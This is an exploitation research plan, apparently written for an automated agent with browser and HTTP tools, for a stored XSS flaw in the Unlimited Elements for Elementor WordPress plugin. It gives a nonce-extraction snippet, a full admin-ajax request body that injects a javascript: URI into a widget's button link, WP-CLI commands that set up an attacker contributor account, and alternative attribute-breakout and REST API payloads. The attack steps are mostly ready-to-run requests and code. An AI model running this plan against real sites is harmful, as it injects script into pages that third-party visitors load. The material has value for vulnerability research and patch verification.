Exploitation Research Plan - CVE-2025-14274

1. Vulnerability Summary

The Unlimited Elements for Elementor plugin (up to v2.0.1) contains a stored Cross-Site Scripting (XSS) vulnerability in its Border Hero widget. The vulnerability exists because the plugin fails to sanitize or escape the url property of the "Button Link" field. A Contributor-level user can embed a malicious payload (e.g., a javascript: URI) into the widget's settings. When the page is rendered for any visitor, the payload is injected into the href attribute of a button, leading to script execution when the button is clicked or, depending on the template, potentially via attribute breakout.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php (via Elementor's AJAX handler)
• Action: elementor_ajax
• Sub-Action: save_builder_data
• Vulnerable Parameter: url within the settings of the uc_border_hero (inferred) widget type.
• Authentication: Contributor or higher (any role with edit_posts capability for a specific post/page).
• Preconditions: The "Unlimited Elements" plugin and "Elementor" must be active. The "Border Hero" widget must be available in the Unlimited Elements library.

3. Code Flow (Inferred)

1. Input: A user edits a post with Elementor and adds/updates a Border Hero widget.
2. AJAX Call: Elementor sends a JSON-encoded representation of the page layout to admin-ajax.php with the action elementor_ajax.
3. Storage: WordPress/Elementor saves this data into the _elementor_data post meta field.
4. Processing (Unlimited Elements): When the frontend page is requested, Elementor initializes the Unlimited Elements widget.
5. Rendering: The render() method of the widget class (likely extending unlimited_elements_base_widget) retrieves the settings.
6. Sink: The template for the Border Hero widget (often a .twig or .php file in the plugin's addons directory) outputs the "Button Link" URL directly into an HTML attribute without using esc_url().

4. Nonce Acquisition Strategy

Elementor requires its own nonces for saving builder data. The wp_create_nonce('elementor_ajax') nonce is typically exposed in the Elementor editor's configuration object.

1. Step 1: Create a new page as a Contributor: wp post create --post_type=page --post_status=publish --post_title="XSS Test".
2. Step 2: Navigate to the Elementor editor URL: wp-admin/post.php?post=[POST_ID]&action=elementor.
3. Step 3: Use browser_eval to extract the required nonce from the elementorConfig object.

Extraction Script:

// Locate the nonce for elementor_ajax
window.elementorConfig?.nonces?.save_builder_data || window.elementorConfig?.nonces?.save_builder

5. Exploitation Strategy

The goal is to send a direct AJAX request to save a malicious widget configuration to a post.

HTTP Request (via http_request tool)

• Method: POST
• URL: http://[target]/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

action=elementor_ajax
&_nonce=[EXTRACTED_NONCE]
&actions={
  "save_builder_data": {
    "action": "save_builder_data",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "exploit-id-1",
          "elType": "section",
          "elements": [
            {
              "id": "exploit-id-2",
              "elType": "column",
              "elements": [
                {
                  "id": "exploit-id-3",
                  "elType": "widget",
                  "widgetType": "uc_border_hero",
                  "settings": {
                    "button_link": {
                      "url": "javascript:alert(document.domain)",
                      "is_external": "",
                      "nofollow": "",
                      "custom_attributes": ""
                    },
                    "button_text": "Click Me"
                  }
                }
              ]
            }
          ]
        }
      ]
    }
  }
}

6. Test Data Setup

1. Plugin Installation: Ensure unlimited-elements-for-elementor v2.0.1 is installed and activated.
2. Widget Activation: In the Unlimited Elements dashboard (wp-admin/admin.php?page=unlimited_elements_addons), ensure the "Border Hero" widget is installed/activated (it may be under the "Hero" category).
3. User Creation:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

4. Post Creation:

   wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_author=[ATTACKER_ID]
   

7. Expected Results

• The AJAX response should return {"success":true,"data":{...}}.
• When navigating to the page frontend (?p=[POST_ID]), the HTML source should contain:
  <a ... href="javascript:alert(document.domain)">Click Me</a>
• Clicking the button (or it being triggered via other attributes if injected) will execute the JavaScript.

8. Verification Steps

1. Database Check: Verify the payload is stored in post meta.

   wp post meta get [POST_ID] _elementor_data
   

   Check for the string "url":"javascript:alert(document.domain)".
2. Frontend Check: Use browser_navigate to the page and check for the presence of the payload in the DOM.

9. Alternative Approaches

• Attribute Breakout: If javascript: is blocked by a basic filter but esc_attr is still missing, try:
  "url": "https://google.com\" onmouseover=\"alert(document.domain)\" data-x=\""
• REST API Injection: If the elementor_ajax action is restricted, attempt to update the _elementor_data meta via the REST API if the Contributor has permission to edit their own posts:
  POST /wp-json/wp/v2/pages/[POST_ID] with meta: {"_elementor_data": "..."}.
• Shortcode Injection: If the widget can be rendered via a shortcode provided by Unlimited Elements, try to inject the payload via shortcode attributes in a standard post body.